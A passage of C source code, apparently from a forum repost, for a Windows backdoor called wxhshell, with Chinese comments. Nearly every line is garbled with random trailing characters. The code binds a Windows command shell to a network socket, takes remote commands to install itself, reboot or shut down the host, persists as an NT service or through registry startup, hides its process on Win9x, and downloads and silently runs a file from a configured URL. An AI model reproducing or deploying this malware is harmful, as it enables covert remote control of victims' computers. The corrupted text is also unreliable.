  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5'-9?-S"  
  } LXF%~^^@d  
  else { +;iesULXn  
coVT+we  
    switch(cmd[0]) { [}>6n72gNh  
  *Z2Q]?:{ i  
  // 帮助 h>%JG'DV  
  case '?': { j<P%Uy+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uv!qE1z@':  
    break; RF2XJJ  
  } ,UZE;lXJ'Q  
  // 安装 q.QYn.CBZz  
  case 'i': { Kcdd=2 [T  
    if(Install()) e CUcE(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aq]'.J =4  
    else ZL@DD(S-/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&S4x  
    break; *K.7Zf0  
    } n4&j<zAV{  
  // 卸载 J<*Mk  
  case 'r': { .u;TeP  
    if(Uninstall()) "K!BJQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5x^"#  
    else UnF4RF:A2&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CPeK0(7Zh  
    break; TXl9c 6  
    } lFV|GJ  
  // 显示 wxhshell 所在路径 Ru aJ9O  
  case 'p': { jeFl+K'1  
    char svExeFile[MAX_PATH]; CscJy0dB  
    strcpy(svExeFile,"\n\r"); 3i}B\ {  
      strcat(svExeFile,ExeFile); t6e-~  
        send(wsh,svExeFile,strlen(svExeFile),0); [ =2In;  
    break; jt r=8OiL  
    } WA5kX SdIb  
  // 重启 Ol[IC  
  case 'b': { =F[,-B~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zs|sPatV<  
    if(Boot(REBOOT)) H=RV M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =e/4Gs0*  
    else { 9d}nyJ  
    closesocket(wsh); +`3ZH9  
    ExitThread(0); :uDB3jN[  
    } }B/xQsTx-  
    break; =I}V PxhE7  
    } B :.;:AEbT  
  // 关机 cGp 6yf  
  case 'd': { OSIp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *bSG48W("  
    if(Boot(SHUTDOWN)) "Oko|3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}Z%@tL  
    else { }PL  
    closesocket(wsh); I>Yp=R  
    ExitThread(0); L1 VTq9[3  
    } YDD]n*&  
    break; ;_&L^)~P$  
    } 2wsZ&y%  
  // 获取shell DP]|}8~L  
  case 's': { |YFlJ2w  
    CmdShell(wsh); p'}%pAY  
    closesocket(wsh); S c Kfr  
    ExitThread(0); rep"xV&|>o  
    break; rNC3h"i\  
  } 3U$fMLx]k  
  // 退出 r=aQ S5  
  case 'x': { CnYX\^Ow  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *60)Vo.=  
    CloseIt(wsh); oU?X"B9  
    break; Ec 7M'~1  
    } QLG,r^  
  // 离开 ^ s4|  
  case 'q': { 5xUPqW%3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0pOha(,~  
    closesocket(wsh); e90z(EF?0  
    WSACleanup(); >E=a~ O  
    exit(1); oP 0j>i,"&  
    break; e5KF~0`  
        } P@?CQvMx  
  } nHjwT5Q+Q  
  } ]NsaFDi\  
/^G+vhlf\  
  // 提示信息 M6!brj\[|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i`L66uV  
} R&xd ic!  
  } t%@ pyK  
%b6wo?%*  
  return; {!h[@f4  
} mH .I!  
6si-IJ  
// shell模块句柄 4*X$Jle|  
int CmdShell(SOCKET sock) h+(s/o?\  
{ =x>k:l~s  
STARTUPINFO si; -',Y;0b%  
ZeroMemory(&si,sizeof(si)); ApB0)N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'L/TaP/3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yl])Q|2I  
PROCESS_INFORMATION ProcessInfo; Rby7X*.-v  
char cmdline[]="cmd"; B,T.bgp\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (tN$G:+")F  
  return 0; Q-5wI$=  
} ERjf.7)d  
sNVD"M,  
// 自身启动模式 q%Pnx_RB  
int StartFromService(void) BW 7[JD  
{ ^pa).B.`T  
typedef struct -X \v B  
{ O~VUViS6$  
  DWORD ExitStatus; n0q(EQy1U  
  DWORD PebBaseAddress; H'.eqZM  
  DWORD AffinityMask; 5H5Kt9DoW  
  DWORD BasePriority; p4 PFoFo2  
  ULONG UniqueProcessId; ZT#G:a  
  ULONG InheritedFromUniqueProcessId; nE84W$\  
}   PROCESS_BASIC_INFORMATION; v%^H9aK_  
V-3]h ba,  
PROCNTQSIP NtQueryInformationProcess; WAbhB A  
,P+&-}gn9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5hMiCod  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u 36;;z  
< n{9pZ5.  
  HANDLE             hProcess; A )cb  
  PROCESS_BASIC_INFORMATION pbi; j;.&+.  
,<7f5qg "'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hlZjk0ez  
  if(NULL == hInst ) return 0; #Uu"olX7  
N}= - +E|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -(EqBr@_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZHJzh\?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [geY:v_B  
|IvX7%*]~  
  if (!NtQueryInformationProcess) return 0; PdZSXP4;k  
=g:\R$lQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fz% n!d  
  if(!hProcess) return 0; I1,?qr"Zr  
X(\RA.64  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t JP(eaqZ  
T5h[{J^  
  CloseHandle(hProcess); W+E2({  
5`Bb0=j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M*N8p]3Cq  
if(hProcess==NULL) return 0; g d-fJ._1  
ITV}f#  
HMODULE hMod; <#-ERQw  
char procName[255]; Fwr,e;Z  
unsigned long cbNeeded; ' e@}N)IX  
`*a,8M%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m 78PQx H  
;1nd~0o  
  CloseHandle(hProcess); JY,+eD  
>+r2I%  
if(strstr(procName,"services")) return 1; // 以服务启动 {`LV{ !  
=3'wHl  
  return 0; // 注册表启动 1tDN$rM5  
}  e(^O8  
!FO)||'[  
// 主模块 q3:tZoeXV  
int StartWxhshell(LPSTR lpCmdLine) JpDkf$kM  
{ &}r932  
  SOCKET wsl; oaHBz_pg  
BOOL val=TRUE; RUEU n  
  int port=0; 62"ND+D4  
  struct sockaddr_in door; k8TMdWW  
B06/mKZ7  
  if(wscfg.ws_autoins) Install(); A{QS+fa/  
bpzA ' g>  
port=atoi(lpCmdLine); <+a\'Xc  
GCoqKE  
if(port<=0) port=wscfg.ws_port; ;p/@tr9  
0czy:d,M%  
  WSADATA data; FD<~?-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O  tr@jgw  
V;!D:N8<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4ZIXG,@mZJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M@8(h=  
  door.sin_family = AF_INET; i=ba=-"Mt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;8@A7`^  
  door.sin_port = htons(port); L4!$bB~L-  
S%4 K-I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mXr)lA  
closesocket(wsl); Oj:`r*z43  
return 1; ,Y*f]  
} bke 1 F '  
<1y%ch;  
  if(listen(wsl,2) == INVALID_SOCKET) { Q_dFZ  
closesocket(wsl); Jd |hwvwFe  
return 1; V;m3=k0U  
} l6&R g-  
  Wxhshell(wsl); &"BKue~q@p  
  WSACleanup(); ZA!vxQ?P,  
l$FHL2?Cp  
return 0; ukw'$Yt2  
'g#))y  
} +RbCa c  
{E9Y)Z9  
// 以NT服务方式启动 GXAcy OV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sJ,zB[e8  
{ NY CkYI  
DWORD   status = 0; 0<Y)yNsV  
  DWORD   specificError = 0xfffffff; .Ee8s]h5W  
K46\Rm_:B;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !} 1p:@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ''Hq-Ng  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lY~xoHT;[  
  serviceStatus.dwWin32ExitCode     = 0; |$D^LY  
  serviceStatus.dwServiceSpecificExitCode = 0; xkX, l{6  
  serviceStatus.dwCheckPoint       = 0; o5)U3U1|  
  serviceStatus.dwWaitHint       = 0; 8Vq,J:+  
NmeTp?)m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @g{=f55  
  if (hServiceStatusHandle==0) return; 6)TFb,  
3}H94H)]a  
status = GetLastError(); eC1cE  
  if (status!=NO_ERROR) 0q/g:"|j  
{ Sh"} c2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4[6A~iC_  
    serviceStatus.dwCheckPoint       = 0; -X |G  
    serviceStatus.dwWaitHint       = 0; r6^DD$X  
    serviceStatus.dwWin32ExitCode     = status; Jzr(A^vwo  
    serviceStatus.dwServiceSpecificExitCode = specificError; fD!O aK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nI 6`/  
    return; y"7?]#$9/  
  } `T-(g1:9  
i$ Zhk1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kJ~^  }o  
  serviceStatus.dwCheckPoint       = 0; T-27E$0  
  serviceStatus.dwWaitHint       = 0; 0s4%22  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N%`ikdaTd  
} ~oOOCB  
6OVAsmE  
// 处理NT服务事件,比如:启动、停止 Z!#zr@'k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p<$z!|7m  
{ nOOA5Gz   
switch(fdwControl) Gs-'  
{ vHao y  
case SERVICE_CONTROL_STOP: e'u 9 SpJ  
  serviceStatus.dwWin32ExitCode = 0; A }dl@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /P,J);Y  
  serviceStatus.dwCheckPoint   = 0; W1Ht8uYG3  
  serviceStatus.dwWaitHint     = 0; N 4Dyec\  
  { eX}uZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -PxA~((g5  
  } .>&kA f.  
  return; @$Y`I{Xf  
case SERVICE_CONTROL_PAUSE: x5{ zGv.j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5^tL#  
  break; p#3P`I>ZrT  
case SERVICE_CONTROL_CONTINUE: b-ZvEDCR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8TuOf(qE  
  break; 6tP^_9njy  
case SERVICE_CONTROL_INTERROGATE: NK d8XQ=%  
  break; N2C^'dFj  
}; f4uK_{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ j' I  
} 0E bs-kP  
0e3 aWn  
// 标准应用程序主函数 OrHnz981K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o-/Xa[yC  
{ [t,7H  
mw.9cDf  
// 获取操作系统版本 1C:lXx$|  
OsIsNt=GetOsVer(); :eDwkzlHH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _t3n<  
yay{lP}b"  
  // 从命令行安装 C7,Ol0`v  
  if(strpbrk(lpCmdLine,"iI")) Install(); %<K`d  
eja_+`cJ  
  // 下载执行文件 Uw4KdC  
if(wscfg.ws_downexe) { Xa+ u>1"2"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q S2#=  
  WinExec(wscfg.ws_filenam,SW_HIDE); '%kk&&3'  
} Haiuf)a  
jiz"`,-},O  
if(!OsIsNt) { }F**!%4d  
// 如果时win9x,隐藏进程并且设置为注册表启动 zZseK  
HideProc(); :rwF5  
StartWxhshell(lpCmdLine); jF{zcYU  
} &rk /ya[  
else 4R@3jGXb8q  
  if(StartFromService()) 7 zK%CJ  
  // 以服务方式启动 S_aml  
  StartServiceCtrlDispatcher(DispatchTable); >OmY  
else t<x0?vfD  
  // 普通方式启动 G[)QGZ}8b  
  StartWxhshell(lpCmdLine); f0}+8JW5h  
:*#I1nb$  
return 0; 7zT]\AnO  
}
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只看该作者 1 发表于: 2006-10-10
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